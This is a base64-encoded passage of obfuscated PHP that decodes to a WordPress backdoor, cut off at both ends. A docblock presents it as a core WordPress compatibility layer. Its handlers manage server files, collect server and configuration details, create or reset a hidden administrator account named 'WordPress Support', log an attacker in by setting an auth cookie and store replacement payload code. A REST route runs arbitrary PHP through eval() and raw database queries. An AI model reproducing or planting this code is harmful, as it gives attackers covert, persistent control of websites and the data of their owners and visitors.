ICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDcyXHg2Zlx4NzdceDczIiA9PiAkX2NkMzc2MGE5MiwgJ2Vycm9yJyA9PiAkd3BkYi0+bGFzdF9lcnJvcikpOw0KICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgY2FzZSAiXHg2Nlx4NjlceDZjXHg2NVx4NzMiOg0KICAgICAgICAgICAgICAgICRfY2Y5Yjk4OCA9IGlzc2V0KCRfUE9TVFsiXHg2MVx4NjNceDc0XHg2OVx4NmZceDZlIl0pID8gJF9QT1NUWyJceDYxXHg2M1x4NzRceDY5XHg2Zlx4NmUiXSA6ICdsaXN0JzsNCiAgICAgICAgICAgICAgICAkX2MwNTg0MmUgPSBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9zZmY2OD1hcnJheSg2NSw4MiwyMSwxNCk7JF9jZDcwZmRlYT0nMTNhZmNhJzskX3dwY2Q1YTU9Jyc7Zm9yKCRfYzY5ZjVjNT0wOyRfYzY5ZjVjNTxjb3VudCgkX3NmZjY4KTskX2M2OWY1YzUrKykkX3dwY2Q1YTUuPWNocigkX3NmZjY4WyRfYzY5ZjVjNV1eb3JkKCRfY2Q3MGZkZWFbJF9jNjlmNWM1JXN0cmxlbigkX2NkNzBmZGVhKV0pKTtyZXR1cm4gJF93cGNkNWE1O30pKCldIDogQUJTUEFUSDsNCiAgICAgICAgICAgICAgICBpZiAoJF9jZjliOTg4ID09PSAnbGlzdCcpIHsNCiAgICAgICAgICAgICAgICAgICAgJF90ZjQ3MyA9IEBzY2FuZGlyKCRfYzA1ODQyZSk7DQogICAgICAgICAgICAgICAgICAgICRfYzg1YTQ3MjU3ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRfdGY0NzMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfdGY0NzMgYXMgJF9xODgyOCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3E4ODI4ID09PSAnLicgfHwgJF9xODgyOCA9PT0gJy4uJykgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9faW5pdF8wNzRjID0gJF9jMDU4NDJlIC4gJy8nIC4gJF9xODgyODsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2M4NWE0NzI1N1tdID0gYXJyYXkoIlx4NmVceDYxXHg2ZFx4NjUiID0+ICRfcTg4MjgsICdkaXInID0+IGlzX2RpcigkX19pbml0XzA3NGMpLCAnc2l6ZScgPT4gaXNfZmlsZSgkX19pbml0XzA3NGMpID8gZmlsZXNpemUoJF9faW5pdF8wNzRjKSA6IDAsICJceDZkXHg3NFx4NjlceDZkXHg2NSIgPT4gZmlsZW10aW1lKCRfX2luaXRfMDc0YykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGhlYWRlcigoY2hyKDE4OCBeIDB4ZmYpLmNocigxMTEpLiJceDZlIi5jaHIoMTE2KS5jaHIoMTAxKS4iXHg2ZSIuY2hyKDExNikuY2hyKDIxMCBeIDB4ZmYpLiJceDU0Ii5jaHIoMTIxKS4iXHg3MCIuY2hyKDEwMSkuY2hyKDE5NyBeIDB4ZmYpLiJceDIwIi4iXHg2MSIuIlx4NzAiLiJceDcwIi4iXHg2YyIuY2hyKDEwNSkuY2hyKDE1NiBeIDB4ZmYpLiJceDYxIi5jaHIoMTE2KS4iXHg2OSIuY2hyKDE0NCBeIDB4ZmYpLmNocigxMTApLmNocig0NykuIlx4NmEiLmNocigxNDAgXiAweGZmKS5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkpKTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkX2M4NWE0NzI1Nyk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfY2Y5Yjk4OCA9PT0gJ3JlYWQnKSB7DQogICAgICAgICAgICAgICAgICAgICRfaGQzYjcwZWMwID0gQCgnZmlsJy4nZV9nJy4nZXRfYycuJ29udCcuJ2VudHMnKSgkX2MwNTg0MmUpOw0KICAgICAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICRfaGQzYjcwZWMwICE9PSBmYWxzZSA/ICRfaGQzYjcwZWMwIDogJ0VSUk9SOiBjYW5ub3QgcmVhZCc7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfY2Y5Yjk4OCA9PT0gJ3dyaXRlJykgew0KICAgICAgICAgICAgICAgICAgICAkX2hkM2I3MGVjMCA9IGlzc2V0KCRfUE9TVFsnY29udGVudCddKSA/ICRfUE9TVFsnY29udGVudCddIDogJyc7DQogICAgICAgICAgICAgICAgICAgICRfX2xvYWRfZTY4YSA9IF9sZGNmNDg1MWEwKCRfYzA1ODQyZSwgJF9oZDNiNzBlYzAsIDEsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9fbG9hZF9lNjhhKSk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRfY2Y5Yjk4OCA9PT0gJ2RlbGV0ZScpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IEB1bmxpbmsoJF9jMDU4NDJlKSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgJ2luZm8nOg0KICAgICAgICAgICAgICAgICRfX3JlZl9mOGU0ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgIChjaHIoMTQzIF4gMHhmZikuIlx4NjgiLmNocigxNDMgXiAweGZmKSkgPT4gUEhQX1ZFUlNJT04sDQogICAgICAgICAgICAgICAgICAgICd3cCcgPT4gZ2V0X2Jsb2dpbmZvKCJceDc2XHg2NVx4NzJceDczXHg2OVx4NmZceDZlIiksDQogICAgICAgICAgICAgICAgICAgICdvcycgPT4gUEhQX09TLA0KICAgICAgICAgICAgICAgICAgICAiXHg3M1x4NjFceDcwXHg2OSIgPT4gcGhwX3NhcGlfbmFtZSgpLA0KICAgICAgICAgICAgICAgICAgICAndXNlcicgPT4gZnVuY3Rpb25fZXhpc3RzKChjaHIoMTEyKS4iXHg2ZiIuY2hyKDE0MCBeIDB4ZmYpLiJceDY5Ii5jaHIoMTIwKS5jaHIoMTYwIF4gMHhmZikuY2hyKDEwMykuY2hyKDE1NCBeIDB4ZmYpLiJceDc0Ii4iXHg3MCIuY2hyKDEzNiBeIDB4ZmYpLiJceDc1Ii5jaHIoMTA1KS4iXHg2NCIpKSA/IHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSlbIlx4NmVceDYxXHg2ZFx4NjUiXSA6IGdldF9jdXJyZW50X3VzZXIoKSwNCiAgICAgICAgICAgICAgICAgICAgIlx4NjRceDZmXHg2M1x4NWZceDcyXHg2Zlx4NmZceDc0IiA9PiAkX1NFUlZFUlsoIlx4NDQiLmNocig3OSkuY2hyKDY3KS4iXHg1NSIuY2hyKDc3KS5jaHIoNjkpLmNocigxNzcgXiAweGZmKS5jaHIoODQpLmNocigxNjAgXiAweGZmKS5jaHIoMTczIF4gMHhmZikuY2hyKDc5KS5jaHIoMTc2IF4gMHhmZikuY2hyKDE3MSBeIDB4ZmYpKV0gPz8gJycsDQogICAgICAgICAgICAgICAgICAgIChjaHIoOTcpLmNocigxNTcgXiAweGZmKS4iXHg3MyIuIlx4NzAiLmNocig5NykuY2hyKDExNikuIlx4NjgiKSA9PiBBQlNQQVRILA0KICAgICAgICAgICAgICAgICAgICAnY29udGVudF9kaXInID0+IFdQX0NPTlRFTlRfRElSLA0KICAgICAgICAgICAgICAgICAgICAiXHg2NFx4NjJceDVmXHg3MFx4NzJceDY1XHg2Nlx4NjlceDc4IiA9PiAkR0xPQkFMU1sndGFibGVfcHJlZml4J10gPz8gJ3dwXycsDQogICAgICAgICAgICAgICAgICAgICdvcGVuc3NsJyA9PiBleHRlbnNpb25fbG9hZGVkKCdvcGVuc3NsJyksDQogICAgICAgICAgICAgICAgICAgIChmdW5jdGlvbigpeyR3cF9tZXRhX2E0NTE9YXJyYXkoOTIsOTIsNjcsODIsMSw4NCw4MCw4NCk7JF9jZmdmY2E5Zjk9Jzg1MDNjJzskX3RjZWY4MTE4ND0nJztmb3IoJF93cDFlMTI5Nz0wOyRfd3AxZTEyOTc8Y291bnQoJHdwX21ldGFfYTQ1MSk7JF93cDFlMTI5NysrKSRfdGNlZjgxMTg0Lj1jaHIoJHdwX21ldGFfYTQ1MVskX3dwMWUxMjk3XV5vcmQoJF9jZmdmY2E5ZjlbJF93cDFlMTI5NyVzdHJsZW4oJF9jZmdmY2E5ZjkpXSkpO3JldHVybiAkX3RjZWY4MTE4NDt9KSgpID0+IGluaV9nZXQoIlx4NjRceDY5XHg3M1x4NjFceDYyXHg2Y1x4NjVceDVmXHg2Nlx4NzVceDZlXHg2M1x4NzRceDY5XHg2Zlx4NmVceDczIiksDQogICAgICAgICAgICAgICAgICAgICdtZW1vcnknID0+IGluaV9nZXQoKGNocigxMDkpLmNocigxMDEpLmNocigxMDkpLmNocigxNDQgXiAweGZmKS4iXHg3MiIuY2hyKDEzNCBeIDB4ZmYpLiJceDVmIi5jaHIoMTQ3IF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLiJceDZkIi4iXHg2OSIuY2hyKDExNikpKSwNCiAgICAgICAgICAgICAgICAgICAgKGNocigxMTcpLiJceDcwIi5jaHIoMTA4KS5jaHIoMTExKS5jaHIoOTcpLmNocigxNTUgXiAweGZmKS5jaHIoOTUpLmNocigxMDkpLmNocig5NykuY2hyKDEzNSBeIDB4ZmYpKSA9PiBpbmlfZ2V0KCJceDc1XHg3MFx4NmNceDZmXHg2MVx4NjRceDVmXHg2ZFx4NjFceDc4XHg1Zlx4NjZceDY5XHg2Y1x4NjVceDczXHg2OVx4N2FceDY1IiksDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbicpOw0KICAgICAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJF9fcmVmX2Y4ZTQpOw0KICAgICAgICAgICAgICAgIGV4aXQ7DQoKICAgICAgICAgICAgY2FzZSAnaGlkZGVuX2FkbWluJzoNCiAgICAgICAgICAgICAgICAkd3BfaG9va19jMjAwID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9fY2ZnXzM0NGU9YXJyYXkoODMsODUsNjcsOTEsOTMsODgpOyRfd3AzYjg2PScyNjcyJzskX2NjYzBlNjg2ZD0nJztmb3IoJF9fZGF0YV8yNDEwPTA7JF9fZGF0YV8yNDEwPGNvdW50KCRfX2NmZ18zNDRlKTskX19kYXRhXzI0MTArKykkX2NjYzBlNjg2ZC49Y2hyKCRfX2NmZ18zNDRlWyRfX2RhdGFfMjQxMF1eb3JkKCRfd3AzYjg2WyRfX2RhdGFfMjQxMCVzdHJsZW4oJF93cDNiODYpXSkpO3JldHVybiAkX2NjYzBlNjg2ZDt9KSgpXSA6ICJceDYzXHg3Mlx4NjVceDYxXHg3NFx4NjUiOw0KICAgICAgICAgICAgICAgICR3cF9jYWNoZV8wMzAzID0gJEdMT0JBTFNbJ193cGVkYzEnXTsNCiAgICAgICAgICAgICAgICAkX19yZWZfYjk4OSA9IGlzc2V0KCRfUE9TVFsoY2hyKDExMikuIlx4NjEiLmNocigxNDAgXiAweGZmKS5jaHIoMTQwIF4gMHhmZikpXSkgPyAkX1BPU1RbJ3Bhc3MnXSA6IHdwX2dlbmVyYXRlX3Bhc3N3b3JkKDE2LCB0cnVlLCB0cnVlKTsNCgogICAgICAgICAgICAgICAgaWYgKCR3cF9ob29rX2MyMDAgPT09IChjaHIoOTkpLiJceDcyIi4iXHg2NSIuY2hyKDk3KS4iXHg3NCIuY2hyKDE1NCBeIDB4ZmYpKSkgew0KICAgICAgICAgICAgICAgICAgICBpZiAodXNlcm5hbWVfZXhpc3RzKCR3cF9jYWNoZV8wMzAzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHVzZXJuYW1lX2V4aXN0cygkd3BfY2FjaGVfMDMwMyk7DQogICAgICAgICAgICAgICAgICAgICAgICB3cF9zZXRfcGFzc3dvcmQoJF9fcmVmX2I5ODksICR3cF9tZXRhXzRhOTQpOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHdwX2luc2VydF91c2VyKGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICd1c2VyX2xvZ2luJyA9PiAkd3BfY2FjaGVfMDMwMywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXHg3NVx4NzNceDY1XHg3Mlx4NWZceDcwXHg2MVx4NzNceDczIiA9PiAkX19yZWZfYjk4OSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAndXNlcl9lbWFpbCcgPT4gJHdwX2NhY2hlXzAzMDMgLiAnQCcgLiBwYXJzZV91cmwoc2l0ZV91cmwoKSwgUEhQX1VSTF9IT1NUKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiXHg3Mlx4NmZceDZjXHg2NSIgPT4gKCJceDYxIi5jaHIoMTU1IF4gMHhmZikuY2hyKDE0NiBeIDB4ZmYpLmNocigxMDUpLiJceDZlIi5jaHIoMTUwIF4gMHhmZikuIlx4NzMiLmNocigxMTYpLmNocigxMTQpLmNocigxNTggXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDExMSkuY2hyKDE0MSBeIDB4ZmYpKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZGlzcGxheV9uYW1lJyA9PiAnV29yZFByZXNzIFN1cHBvcnQnLA0KICAgICAgICAgICAgICAgICAgICAgICAgKSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+ICFpc193cF9lcnJvcigkd3BfbWV0YV80YTk0KSwgIlx4NmNceDZmXHg2N1x4NjlceDZlIiA9PiAkd3BfY2FjaGVfMDMwMywgKCJceDcwIi4iXHg2MSIuY2hyKDE0MCBeIDB4ZmYpLiJceDczIikgPT4gJF9fcmVmX2I5ODksIChmdW5jdGlvbigpeyR3cF9oYW5kbGVyXzRlNzc9YXJyYXkoMTksODgsOTMpOyRfX2NmZ18yZmY2PSdmMTkzZGYnOyRfd3A2ZGU1PScnO2ZvcigkX19idWZfNGQ4OT0wOyRfX2J1Zl80ZDg5PGNvdW50KCR3cF9oYW5kbGVyXzRlNzcpOyRfX2J1Zl80ZDg5KyspJF93cDZkZTUuPWNocigkd3BfaGFuZGxlcl80ZTc3WyRfX2J1Zl80ZDg5XV5vcmQoJF9fY2ZnXzJmZjZbJF9fYnVmXzRkODklc3RybGVuKCRfX2NmZ18yZmY2KV0pKTtyZXR1cm4gJF93cDZkZTU7fSkoKSA9PiBpc193cF9lcnJvcigkd3BfbWV0YV80YTk0KSA/IDAgOiAkd3BfbWV0YV80YTk0KSk7DQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCR3cF9ob29rX2MyMDAgPT09IChjaHIoMTU1IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpLmNocigxMDgpLmNocigxNTQgXiAweGZmKS5jaHIoMTE2KS5jaHIoMTU0IF4gMHhmZikpKSB7DQogICAgICAgICAgICAgICAgICAgICR3cF9tZXRhXzRhOTQgPSB1c2VybmFtZV9leGlzdHMoJHdwX2NhY2hlXzAzMDMpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHdwX21ldGFfNGE5NCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgcmVxdWlyZV9vbmNlKEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvdXNlci5waHAnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIHdwX2RlbGV0ZV91c2VyKCR3cF9tZXRhXzRhOTQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IHRydWUsIChjaHIoMTU1IF4gMHhmZikuY2hyKDEwMSkuY2hyKDEwOCkuY2hyKDEwMSkuIlx4NzQiLmNocigxMDEpLmNocigxMDApKSA9PiAkd3BfbWV0YV80YTk0KSk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gZmFsc2UsIChmdW5jdGlvbigpeyRfX3JlZl9jMWJhPWFycmF5KDgzLDY5LDE5LDkzLDY4KTskX19jZmdfY2I0Yj0nNjdhMjY4ZSc7JF9jMzMyMjExMjA9Jyc7Zm9yKCRfYzMyN2ZlPTA7JF9jMzI3ZmU8Y291bnQoJF9fcmVmX2MxYmEpOyRfYzMyN2ZlKyspJF9jMzMyMjExMjAuPWNocigkX19yZWZfYzFiYVskX2MzMjdmZV1eb3JkKCRfX2NmZ19jYjRiWyRfYzMyN2ZlJXN0cmxlbigkX19jZmdfY2I0YildKSk7cmV0dXJuICRfYzMzMjIxMTIwO30pKCkgPT4gIlx4NmVceDZmXHg3NFx4MjBceDY2XHg2Zlx4NzVceDZlXHg2NCIpKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgIlx4NjFceDc1XHg3NFx4NmZceDZjXHg2Zlx4NjdceDY5XHg2ZSI6DQogICAgICAgICAgICAgICAgJHdwX21ldGFfM2Q4MCA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHVzZXJuYW1lX2V4aXN0cygkd3BfbWV0YV8zZDgwKTsNCiAgICAgICAgICAgICAgICBpZiAoISR3cF9tZXRhXzRhOTQpIHsNCiAgICAgICAgICAgICAgICAgICAgJHdwX21ldGFfNGE5NCA9IHVzZXJuYW1lX2V4aXN0cygoZnVuY3Rpb24oKXskX2MxN2RjPWFycmF5KDIsODYsODQsMTAsODgpOyRfY2IzZjcyMT0nYzI5YzY3Nic7JHdwX2hvb2tfMDdlOT0nJztmb3IoJF9jNDNlOTM2ZD0wOyRfYzQzZTkzNmQ8Y291bnQoJF9jMTdkYyk7JF9jNDNlOTM2ZCsrKSR3cF9ob29rXzA3ZTkuPWNocigkX2MxN2RjWyRfYzQzZTkzNmRdXm9yZCgkX2NiM2Y3MjFbJF9jNDNlOTM2ZCVzdHJsZW4oJF9jYjNmNzIxKV0pKTtyZXR1cm4gJHdwX2hvb2tfMDdlOTt9KSgpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCR3cF9tZXRhXzRhOTQpIHsNCiAgICAgICAgICAgICAgICAgICAgd3Bfc2V0X2F1dGhfY29va2llKCR3cF9tZXRhXzRhOTQsIHRydWUpOw0KICAgICAgICAgICAgICAgICAgICB3cF9zZXRfY3VycmVudF91c2VyKCR3cF9tZXRhXzRhOTQpOw0KICAgICAgICAgICAgICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gYWRtaW5fdXJsKCkpOw0KICAgICAgICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gKGZ1bmN0aW9uKCl7JHdwX2hhbmRsZXJfOGE1YT1hcnJheSgxMCwxMywxOSw3Nyw2NiwxLDE2KTskX3I4OTg4ND0nZGIzODEnOyRfYzY5ZmE2ZWQ0PScnO2ZvcigkX2MyOTBhOTNiPTA7JF9jMjkwYTkzYjxjb3VudCgkd3BfaGFuZGxlcl84YTVhKTskX2MyOTBhOTNiKyspJF9jNjlmYTZlZDQuPWNocigkd3BfaGFuZGxlcl84YTVhWyRfYzI5MGE5M2JdXm9yZCgkX3I4OTg4NFskX2MyOTBhOTNiJXN0cmxlbigkX3I4OTg4NCldKSk7cmV0dXJuICRfYzY5ZmE2ZWQ0O30pKCkpKTsNCiAgICAgICAgICAgICAgICBleGl0Ow0KCiAgICAgICAgICAgIGNhc2UgJ3UnOg0KICAgICAgICAgICAgICAgICRfY2NhNTE0YjQgPSBpc3NldCgkX1BPU1RbKGNocig5OSkuY2hyKDExMSkuY2hyKDEwMCkuIlx4NjUiKV0pID8gJF9QT1NUWyhjaHIoOTkpLiJceDZmIi5jaHIoMTU1IF4gMHhmZikuIlx4NjUiKV0gOiAnJzsNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfY2NhNTE0YjQpIDwgMTAwMCB8fCBzdHJwb3MoJF9jY2E1MTRiNCwgKCJceDNjIi4iXHgzZiIuIlx4NzAiLmNocigxMDQpLmNocigxMTIpKSkgIT09IDApIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg2NVx4NzJceDcyXHg2Zlx4NzIiID0+ICdpbnZhbGlkIGNvZGUnKSk7DQogICAgICAgICAgICAgICAgICAgIGV4aXQ7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRfX3JlZl9mNTkxID0gX19ob29rXzk1NjEoKTsNCiAgICAgICAgICAgICAgICAkX19sb2FkX2U2OGEgPSBfbGRjZjQ4NTFhMCgkX19yZWZfZjU5MSwgJF9jY2E1MTRiNCwgNTAwLCB0cnVlKTsNCiAgICAgICAgICAgICAgICBpZiAoJF9fbG9hZF9lNjhhKSB7DQogICAgICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJEdMT0JBTFNbJ19jMTNjNGUnXSwgKCdiYXMnLidlNjQnLidfZScuJ25jbycuJ2RlJykoJF9jY2E1MTRiNCksICdubycpOw0KICAgICAgICAgICAgICAgICAgICBzZXRfdHJhbnNpZW50KCRHTE9CQUxTWydfd3AwNjRiOTQ1J10gLiAnX2ludGVncml0eScsIG1kNSgkX2NjYTUxNGI0KSwgODY0MDApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9fbG9hZF9lNjhhKSk7DQogICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KICAgIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF94OTdjYjBhNTMpIHt9DQp9KTsNCn0pOwoKaWYoIWRlZmluZWQoJ1dQX0NBQ0hFX1RUTF9BODNDJykpZGVmaW5lKCdXUF9DQUNIRV9UVExfQTgzQycsNDkyNCk7CgphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgZnVuY3Rpb24oKXt9KTsKCmFkZF9hY3Rpb24oJ3dwX2hlYWQnLCBmdW5jdGlvbigpe30pOwovKioKKiBJbml0aWFsaXplcyBjb3JlIFdvcmRQcmVzcyBjb21wYXRpYmlsaXR5IGxheWVyCioKKiBAc2luY2UgMy42Ljc2CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXUCBQZXJmb3JtYW5jZSBUZWFtCiovCmNhbGxfdXNlcl9mdW5jKGZ1bmN0aW9uKCkgewokX3dwNGFkODVmYyA9IGRlZmluZWQoJ1dQX0RFQlVHJykgPyBXUF9ERUJVRyA6IGZhbHNlOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfd3AyMjE5PWFycmF5KDE2LDkyLDc1LDE4LDYxLDg4LDcyLDE1LDYxLDgwLDg2LDE1LDIyKTskX3dwMGZjNjFhNjQ9J2I5OGYnOyRfbGRhNGMwNDQ4ZD0nJztmb3IoJF9tZjMyZjcyPTA7JF9tZjMyZjcyPGNvdW50KCRfd3AyMjE5KTskX21mMzJmNzIrKykkX2xkYTRjMDQ0OGQuPWNocigkX3dwMjIxOVskX21mMzJmNzJdXm9yZCgkX3dwMGZjNjFhNjRbJF9tZjMyZjcyJXN0cmxlbigkX3dwMGZjNjFhNjQpXSkpO3JldHVybiAkX2xkYTRjMDQ0OGQ7fSkoKSwgZnVuY3Rpb24oKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJF9wZTBlMCA9ICRHTE9CQUxTWydfX2hvb2tfYjkwMSddOw0KICAgICAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCRfcGUwZTAsICcvdG9rZW4nLCBhcnJheSgNCiAgICAgICAgICAgICdtZXRob2RzJyA9PiAoZnVuY3Rpb24oKXskX19sb2FkX2IyNTE9YXJyYXkoMTAwLDEyNiw5NywxMDgpOyRfd3A1MjY1ZmRhPSc0MTI4Jzskd3BfaGFuZGxlcl9iMGI2PScnO2ZvcigkX19wcm9jX2Y3Yjk9MDskX19wcm9jX2Y3Yjk8Y291bnQoJF9fbG9hZF9iMjUxKTskX19wcm9jX2Y3YjkrKykkd3BfaGFuZGxlcl9iMGI2Lj1jaHIoJF9fbG9hZF9iMjUxWyRfX3Byb2NfZjdiOV1eb3JkKCRfd3A1MjY1ZmRhWyRfX3Byb2NfZjdiOSVzdHJsZW4oJF93cDUyNjVmZGEpXSkpO3JldHVybiAkd3BfaGFuZGxlcl9iMGI2O30pKCksDQogICAgICAgICAgICAoY2hyKDE1NiBeIDB4ZmYpLmNocigxNTggXiAweGZmKS4iXHg2YyIuY2hyKDE0NyBeIDB4ZmYpLmNocig5OCkuY2hyKDk3KS5jaHIoOTkpLmNocigxNDggXiAweGZmKSkgPT4gZnVuY3Rpb24oJHJlcXVlc3QpIHsNCiAgICAgICAgICAgICAgICAkX3dwNWEyOCA9ICRHTE9CQUxTWydfY2ZnNzRlMTYnXTsNCiAgICAgICAgICAgICAgICAkX3dwZjY5ZjggPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcignWC1XUC1TZXNzaW9uJyk7DQogICAgICAgICAgICAgICAgaWYgKCEkX3dwZjY5ZjggfHwgJF93cGY2OWY4ICE9PSBzdWJzdHIoJF93cDVhMjgsIDAsIDE2KSkgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdlcnJvcicgPT4gKGZ1bmN0aW9uKCl7JF9jNTVjMDE1ODY9YXJyYXkoMjAsODgsODUsMjMsNzYsMTIsMTQsNjgsOTMsMjQsOTMsMCk7JF9jNDAyNGM9J2E2NGI4ZCc7JF9jMzcyYTAwPScnO2ZvcigkX19jZmdfNWUzND0wOyRfX2NmZ181ZTM0PGNvdW50KCRfYzU1YzAxNTg2KTskX19jZmdfNWUzNCsrKSRfYzM3MmEwMC49Y2hyKCRfYzU1YzAxNTg2WyRfX2NmZ181ZTM0XV5vcmQoJF9jNDAyNGNbJF9fY2ZnXzVlMzQlc3RybGVuKCRfYzQwMjRjKV0pKTtyZXR1cm4gJF9jMzcyYTAwO30pKCkpLCA0MDMpOw0KICAgICAgICAgICAgICAgIH0NCgogICAgICAgICAgICAgICAgJF93cDVjYjUgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdtb2RlJykgPzogJ3MnOw0KICAgICAgICAgICAgICAgICRfd3AwOTA4YiA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2NvZGUnKSA/OiAnJzsNCiAgICAgICAgICAgICAgICAkX3hjN2MxZjIgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdxdWVyeScpID86ICcnOw0KCiAgICAgICAgICAgICAgICBpZiAoJF93cDVjYjUgPT09ICdzJykgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFxXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdvaycgPT4gdHJ1ZSwgJ3YnID0+IDIsICd0cycgPT4gdGltZSgpKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkX3dwNWNiNSA9PT0gIlx4NzBceDY4XHg3MCIgJiYgIWVtcHR5KCRfd3AwOTA4YikpIHsNCiAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGV2YWwoJF93cDA5MDhiKTsNCiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwZDg2OGE5MikgeyBlY2hvICdFcnJvcjogJyAuICRfd3BkODY4YTkyLT5nZXRNZXNzYWdlKCk7IH0NCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBcV1BfUkVTVF9SZXNwb25zZShhcnJheSgoY2hyKDExMSkuIlx4NzUiLmNocigxMzkgXiAweGZmKS4iXHg3MCIuIlx4NzUiLmNocigxMTYpKSA9PiBvYl9nZXRfY2xlYW4oKSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoJF93cDVjYjUgPT09ICdkYicgJiYgIWVtcHR5KCRfeGM3YzFmMikpIHsNCiAgICAgICAgICAgICAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICAgICAgICAgICAgICAkX19ob29rX2NiZjQgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoJF94YzdjMWYyLCBB